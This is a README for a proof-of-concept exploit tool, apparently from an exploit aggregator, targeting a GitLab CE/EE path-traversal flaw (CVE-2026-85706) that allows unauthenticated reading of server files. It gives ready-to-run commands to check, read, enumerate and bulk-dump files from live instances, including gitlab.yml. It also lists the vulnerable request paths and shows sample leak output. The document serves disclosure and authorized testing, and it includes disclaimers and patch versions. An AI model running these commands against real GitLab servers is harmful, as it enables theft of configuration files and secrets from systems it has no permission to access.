## https://sploitus.com/exploit?id=9C294560-CD30-59CB-88DA-21806CC44895
# CVE-2026-85706: GitLab CE/EE unauthenticated arbitrary local file read
**CVE-2026-85706** is a critical path-traversal / missing-authentication issue in the GitLab CE/EE
**Repository Commits** and **Repository Files** APIs: an unauthenticated attacker can make the server read
arbitrary files and obtain their content through the error channel. CVSS 3.1 10.0
(`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`).
GitLab's official title is *"Path Traversal issue in repository commits API impacts GitLab CE/EE"*. The fix
shipped on **2026-09-10** in **19.3.2 / 19.2.6 / 19.1.8**.
> [!IMPORTANT]
> Running a self-managed GitLab ** [!WARNING]
> **Authorized use only.** Run this tool only against systems you own or are explicitly permitted to test.
This repository holds an independent proof of concept, a minimal reproduction lab and a full technical
analysis:
- **[ANALYSIS.md](ANALYSIS.md)** - root cause, exploitation, reproduction evidence, mitigation
No data captured from any third-party system is included.
## Quick start
### Option A - local lab (fastest, no GitLab needed)
```bash
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
```
The lab listens on `127.0.0.1` only and reads only inside its `lab/vault/` sandbox, so it can never touch
files on your real machine.
### Option B - real GitLab CE 19.3.1 (authoritative verification)
```bash
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project
```
### Option C - live instance
```bash
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project
```
Add `--insecure` for self-signed certificates, and prefer the numeric project id over an encoded path
(`--project ` instead of `group%2Fproject`).
## Subcommands
| Command | Purpose | Key options |
|---|---|---|
| `check` | Is the target vulnerable? Compares the responses of every bypass vector | `--canary-path`, `--no-bypass-probe` |
| `read` | Read one file and report whether its content leaks | `--file `, `--media ` |
| `enum` | Probe a list of paths and classify each one | `--wordlist`, `--wordlist-file` |
| `dump` | Save every readable file to disk, with a manifest and the raw responses | `--files`, `--files-file`, `--outdir` |
### Vectors
The labels printed by `check`:
| Label | Request path |
|---|---|
| `commits-trailing-slash` | `POST /api/v4/projects//repository/commits/` |
| `commits-json-suffix` | `POST /api/v4/projects//repository/commits.json` |
| `commits-canonical` | `POST /api/v4/projects//repository/commits` (Workhorse-buffered, control case) |
| `files-trailing-slash` | `POST /api/v4/projects//repository/files//` |
| `files-canonical` | `POST /api/v4/projects//repository/files/` |
### `check` - is the target vulnerable?
```console
$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
```
Exit codes: **0** = vulnerable; **1** = not exploitable with the tested vectors (patched, or the route
unreachable).
Two details worth knowing:
- The `Workhorse bypass probe` block is the routing proof: `file` only exists when Workhorse buffered and
signed the body, so a `400 {"error":"file is missing"}` proves the bypass route skipped that pipeline
while still reaching the API. On a patched build that last line reads `HTTP 401`.
- The canonical path (`commits-canonical` -> `401`) is the **control case**: there Workhorse rewrites
`file.path`, so the attacker's value never reaches the vulnerable code.
### `read` - read a single file
```console
$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
```
Exit codes: **0** = content disclosed, or a pre-authentication read confirmed by the baseline; **1** = no
pre-auth read observed.
### `enum` / `dump` - bulk probing
```bash
python poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project --insecure \
--outdir evidence --files-file poc/paths.txt
```
`poc/paths.txt` ships 45 interesting GitLab/Linux paths; `--wordlist` / `--files` can be given inline or
via a file, and both forms can be combined. These are the only two subcommands that touch real file
contents - write the output outside this repository and never publish what they capture.
## Global options
| Option | Meaning |
|---|---|
| `--url ` | Target base URL (required) |
| `--project ` | Public project id (`123`) or URL-encoded path (`group%2Fproject`), required |
| `--token ` | Optional; test the authenticated path |
| `--insecure` | Skip TLS verification (self-signed certificates) |
| `-v`, `--verbose` | Print every request/response to stderr |
| `--canary-path ` | Guaranteed-missing path used as the vulnerability baseline |
| `--color ` | `auto` (default, colours on a real terminal), `always`, `never` |
Option order matters: shared options go **after** the subcommand - `check --url ... --insecure`, not
`--url ... check`.
## Verification status
| Test | Result |
|---|---|
| **Patched control** - `gitlab.com`, 19.3.2+ | Every vector returns `401`; the only other answer is the `400 {"error":"file is missing"}` that proves the routing bypass |
| **Local lab** - `lab/vulnerable_api.py` | Reproduces the Rails-side trust bug end to end; `--patched` gives the comparison build |
| **Real self-managed instance** - 19.3.1, written authorization | Confirmed vulnerable; host and project details are deliberately not published here. Aggregated results in [ANALYSIS.md, section 4.3](ANALYSIS.md#43-validation-on-a-real-self-managed-instance) |
## Legal
This material is provided for **security research and authorized testing** - your own lab, a bug-bounty
program, or a penetration test with written permission. Only use it against systems you own or are
explicitly allowed to test. Unauthorized access to third-party systems is illegal. Provided as is, without
warranty of any kind.